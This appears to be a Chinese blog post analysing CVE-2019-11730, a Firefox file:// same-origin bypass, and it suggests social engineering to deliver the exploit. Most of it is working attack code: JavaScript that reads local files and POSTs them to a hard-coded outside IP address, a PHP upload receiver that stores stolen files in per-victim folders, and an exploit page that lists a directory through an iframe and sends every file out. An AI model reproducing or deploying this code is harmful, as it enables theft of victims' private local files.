CVE-2019-11730 分析&小谈

背景介绍

-w891

看起来这么屌,但还是5位CVE?因为只有file://协议打开本地文件才受影响

待解决问题

1、点击某个具体的文件,onload吗??
反正这个触发了我的误区,我原以为load的触发机制是内联的文档加载完就会触发且只有一次,今晚看了下文档发现理解错了

-w533

所以说你在操纵内联文本的时候,涉及到的其他资源加载也会触发load

2、在console里打印iframe.contentDocument.body.innerText为空,点击的话就能获取到,这是为啥?

因为contentDocument受到同源策略的限制,但是click之后相当于触发了那个cve然后同源失效,contentDocument读到了当前目录下的所有文件,之后经过处理后把当前Document里的所有文件都发送到了server

-w708

咋利用

社工吧,假如你想获取它某个文件,先写好filename然后发个html给对面。值得一提,firefox这个sb东西不仅自动更新而且会绑定更新协议,也就是说除非你估计”不更新”浏览器,它才能稳定67版本

<script>
            var server_url = "http://120.79.152.66:81/upload.php";
            var filename = "./var/www/html/index.php"
            var file_reader = new XMLHttpRequest();
            // First, read the file contents.
            file_reader.open("GET",filename,true);
            file_reader.onreadystatechange = function(){
                if (this.readyState == 4){
                    filename = encodeURIComponent(filename);
                    file_contents = encodeURIComponent(file_reader.responseText);
                    // Second, upload the file.
                    var uploader = new XMLHttpRequest();
                    var post_data = "fname=" + filename + "&contents=" + file_contents;
                    uploader.open("POST",server_url,true);
                    uploader.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
                    uploader.send(post_data);
                }
            };
            file_reader.send();

</script>

poc

服务端上个upload

<?php

if (isset($_POST['fname'])){
    $fname = basename($_POST['fname']); // name of the uploaded file.
    $contents = $_POST['contents']; // contents of the uploaded file.
    $ip = $_SERVER['REMOTE_ADDR']; // Victim IP address.
    is_dir($ip) || mkdir($ip); // Create a directory for the victim based on his IP address.
    file_put_contents("$ip/$fname",$contents); // Save the uploaded file on the server.
    die();
}

exploit.html,我把点击劫持的部分去掉了,原poc地址CVE-2019-11730

<html>


    <meta content="text/html;charset=utf-8" http-equiv="Content-Type">
    <meta content="utf-8" http-equiv="encoding">
<body>
<style>

    .check_iframe{
        width: 1000;
        height: 1000;
        position: absolute;
        left: 0;
        top: 0;
    }    

</style>


</body>
</html>

<script>
    var check_iframe = document.createElement("iframe");
    check_iframe.src = "./";
    check_iframe.className = "check_iframe";
    document.body.append(check_iframe);


    check_iframe.onload = function(){
        if(check_iframe.contentDocument == null){
        console.log("- SOP is not bypassed");
    }else{
        console.log("+ SOP is bypassed!");
        console.log(`Now the src's value is:`+check_iframe.src);
        analyze_directory_contents(check_iframe.contentDocument.body.innerText)
    }

    }




    function analyze_directory_contents(parent_directory_contents){
                /*
                Contents of parent directoet page:
                Index of file:///path/to/panret/directory[\n\n]
                Up to higher level directory[\n\n]
                Name Size Last Modified[\n\n]
                filename1.txt[\n\t]3[ KB\t] 11/8/19 6:41:48 AM GMT+3:30[\n\n]
                filename2.txt[\n\t]120[ KB\t] 6/6/19 11:44:19 PM GMT+4:30[\n\n]
                filename3.txt[\n\t]3043[ KB\t] 6/3/19 7:02:32 PM GMT+4:30[\n\n]                
                */
                // Extract file names from the contents, call upload_file() function to read and upload them to the attacker.
                lines = parent_directory_contents.split("\n\n");
                lines.forEach(
                    function(line){
                        // Is file and not empty.
                        if(line.indexOf(" KB\t") != -1){
                            filename = line.split(" KB\t")[0].split("\n\t")[0].trim();
                            upload_file(filename);
                            console.log(`uploading file...${filename}`)

                        }
                    }
                );

            }


            function upload_file(filename){
                var server_url = "http://120.79.152.66:81/upload.php";
                var file_reader = new XMLHttpRequest();
                // First, read the file contents.
                file_reader.open("GET",filename,true);
                file_reader.onreadystatechange = function(){
                    if (this.readyState == 4){
                        filename = encodeURIComponent(filename);
                        file_contents = encodeURIComponent(file_reader.responseText);
                        // Second, upload the file.
                        var uploader = new XMLHttpRequest();
                        var post_data = "fname=" + filename + "&contents=" + file_contents;
                        uploader.open("POST",server_url,true);
                        uploader.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
                        uploader.send(post_data);
                    }
                };
                file_reader.send();

            }

</script>
not found!